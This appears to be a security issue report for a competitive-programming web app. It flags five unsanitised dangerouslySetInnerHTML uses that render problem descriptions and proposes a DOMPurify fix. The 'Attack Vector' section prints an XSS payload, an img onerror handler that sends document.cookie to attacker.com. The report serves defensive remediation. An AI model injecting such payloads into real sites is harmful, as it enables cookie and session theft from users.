Issue
After reviewing the code, dangerouslySetInnerHTML is used in 5 locations to render problem descriptions that could come from Codeforces API, admin input, or other external sources.
Affected Files
| File |
Line |
What's Rendered |
src/pages/potd.tsx |
258 |
formatDescription(truncatedDesc) |
src/pages/questions/[id].tsx |
447-449 |
formatDescription(ques.description) |
src/pages/questions/[id].tsx |
458-460 |
formatDescription(ques.input_format) |
src/pages/questions/[id].tsx |
469-471 |
formatDescription(ques.output_format) |
src/components/ProblemOfTheDay.jsx |
8 |
formatDescription(problem.description) |
Attack Vector
If any problem description contains HTML with <script> tags or event handlers (from Codeforces API, or an admin accidentally pasting HTML), it will execute in the browser:
<img src=x onerror="fetch('https://attacker.com/'+document.cookie)">
Fix
Install DOMPurify and sanitize before rendering:
import DOMPurify from 'dompurify';
// Replace:
<div dangerouslySetInnerHTML={{ __html: formatDescription(desc) }} />
// With:
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(formatDescription(desc)) }} />
This affects all 5 locations listed above. Same fix pattern applies to each.
Issue
After reviewing the code,
dangerouslySetInnerHTMLis used in 5 locations to render problem descriptions that could come from Codeforces API, admin input, or other external sources.Affected Files
src/pages/potd.tsxformatDescription(truncatedDesc)src/pages/questions/[id].tsxformatDescription(ques.description)src/pages/questions/[id].tsxformatDescription(ques.input_format)src/pages/questions/[id].tsxformatDescription(ques.output_format)src/components/ProblemOfTheDay.jsxformatDescription(problem.description)Attack Vector
If any problem description contains HTML with
<script>tags or event handlers (from Codeforces API, or an admin accidentally pasting HTML), it will execute in the browser:Fix
Install DOMPurify and sanitize before rendering:
This affects all 5 locations listed above. Same fix pattern applies to each.